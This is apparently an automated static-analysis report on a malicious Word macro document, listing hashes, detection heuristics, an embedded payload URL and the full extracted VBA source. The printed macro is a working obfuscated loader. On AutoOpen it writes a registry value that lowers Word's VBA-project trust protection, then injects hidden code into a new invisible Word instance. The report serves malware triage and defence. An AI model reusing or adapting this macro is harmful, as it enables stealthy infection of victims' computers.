Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e14efdc6c68170ae…

MALICIOUS

Office (OOXML)

100.8 KB Created: 2021-04-28 04:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: aca3b1e6ba931eccb7d9eb29f46a03a9 SHA-1: bb3ec7ef2bc2b12033da9ceb7c224cc0a4c3889a SHA-256: e14efdc6c68170ae61caf6876b00480a101ab194277955539bffe0f7296d66de
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    repoNamespace.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString trustStorageLeft
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set iteratorClass = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://changfix.com/bijol/ZG2qnnjAyyS2THO0dNJcShIQH9mF4QLSMmwbdaIPc/w5XjtHpoop0jx2JCAW2rMXVnPrPuXdJoSE6bOyTrtjBg5K/nc7vyvlBl2mDX/d6A6q1N/qB5BwPwg3P3WdrEcJ0MaPnopdTZ37pvEfgrkQhJEBP/KJPbZl44zwxZcAK25oCOXiFp17Pq1czV9o In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2784 bytes
SHA-256: eb78f9b1bd226e46d95cf45f53206e3ddb75cc0a4b717e111f3c2e23323f0d6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{1E854FC0-2B03-434D-B022-C62D5BBCB68F}{4927C69F-DBE1-4615-B05B-C9EDD36F3E70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lenA"
Sub autoopen()
sizeRepoScreen
Dim trustDocumentClass As String
trustDocumentClass = valueProcVar
responseLib trustDocumentClass
End Sub

Attribute VB_Name = "namespaceReferenceReference"
Function screenSwap(removeCollectionPointer As String) As Variant
Dim iteratorClass As Object
Dim rightEx As Object
Set iteratorClass = CreateObject("msxml2.domdocument")
Set rightEx = iteratorClass.createElement("code")
rightEx.DataType = "bin.base64"
rightEx.Text = removeCollectionPointer
screenSwap = rightEx.nodeTypedValue
End Function
Function swapSwapTemp(structMain, requestView)
swapSwapTemp = StrConv(structMain, requestView)
End Function

Attribute VB_Name = "captionRemoveGeneric"
Sub responseLib(trustStorageLeft As String)
Set procPtrWindow = CreateObject("word.application")
Set repoNamespace = procPtrWindow.Documents.Add
repoNamespace.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString trustStorageLeft
procPtrWindow.Visible = False
procPtrWindow.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "AGlobalTmp"
Function queryLenLink() As String
queryLenLink = Application.Version
End Function
Function libEx()
libEx = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function optionReference()
optionReference = "cript.sh"
End Function
Function removeButton()
removeButton = "VjdXJpdHlcQWN"
End Function
Sub sizeRepoScreen()
repoBuffer = swapSwapTemp(screenSwap("SEtFWV9DVVJSR" & libEx & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
memPointer = queryLenLink
AVar = swapSwapTemp(screenSwap("XFdvcmRcU2" & removeButton & "jZXNzVkJPTQ=="), vbUnicode)
textboxCounter = repoBuffer & memPointer & AVar
With CreateObject("ws" & optionReference & "ell")
.RegWrite textboxCounter, 1, "REG_DWORD"
End With
End Sub
Public Function viewMain(ByVal listLibMem As String) As String
For tableBuffer = 1 To Len(listLibMem) Step 2
tempOptionBorder = Chr$(Val("&H" & Mid$(listLibMem, tableBuffer, 2)))
procBorder = procBorder & tempOptionBorder
Next tableBuffer
viewMain = procBorder
End Function
Function valueProcVar()
valueProcVar = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 38fe225d2a32988586601819442474bdddcbef04fd6fead434ab8ed71b5805db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).